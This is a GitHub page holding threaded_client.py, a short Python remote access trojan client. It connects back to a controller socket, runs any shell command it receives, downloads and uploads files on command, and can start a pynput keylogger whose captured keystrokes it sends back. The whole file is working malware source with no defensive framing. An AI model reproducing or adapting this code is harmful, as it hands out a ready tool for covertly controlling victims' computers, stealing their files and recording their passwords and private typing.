-
Notifications
You must be signed in to change notification settings - Fork 3
/
threaded_client.py
94 lines (75 loc) · 2.17 KB
/
threaded_client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import socket
import subprocess
from pathlib import Path
from pynput.keyboard import Key,Listener
import threading
global allkeys
allkeys = ''
keylogging_mode = 0
def pressed(key):
global allkeys
allkeys+=str(key)
def released(key):
pass
def keylog():
global l
l = Listener(on_press=pressed,on_release=released)
l.start()
ip_address = '127.0.0.1'
port_number = 1236
cs = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
cs.connect((ip_address,port_number))
msg = 'TEST CLIENT'
cs.send(msg.encode())
msg = cs.recv(1024).decode()
while msg !='quit':
fullmsg = msg
msg = msg.split(" ")
if msg[0]=='download':
filename = msg[1]
f = open(Path(filename),'rb')
contents = f.read()
f.close()
cs.send(contents)
msg = cs.recv(1024).decode()
elif msg[0]=='upload':
filename = msg[1]
filesize = int(msg[2])
contents = cs.recv(filesize)
f = open(Path(filename),'wb')
f.write(contents)
f.close()
cs.send('got file'.encode())
msg = cs.recv(1024).decode()
elif fullmsg=='keylog on':
keylogging_mode = 1
t1 = threading.Thread(target=keylog)
t1.start()
msg = "keylogging has started"
cs.send(msg.encode())
msg = cs.recv(1024).decode()
elif fullmsg =='keylog off':
if keylogging_mode == 1:
l.stop()
t1.join()
#global allkeys
cs.send(allkeys.encode())
allkeys = ''
msg = cs.recv(1024).decode()
elif keylogging_mode == 0:
msg = "Keylogging should be started first"
cs.send(msg.encode())
msg = cs.recv(1024).decode()
else:
p = subprocess.Popen(
msg,stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True
)
output , error = p.communicate()
if len(output) > 0:
msg = str(output.decode())
else:
msg = str(error.decode())
cs.send(msg.encode())
msg = cs.recv(1024).decode()
print(msg)
cs.close()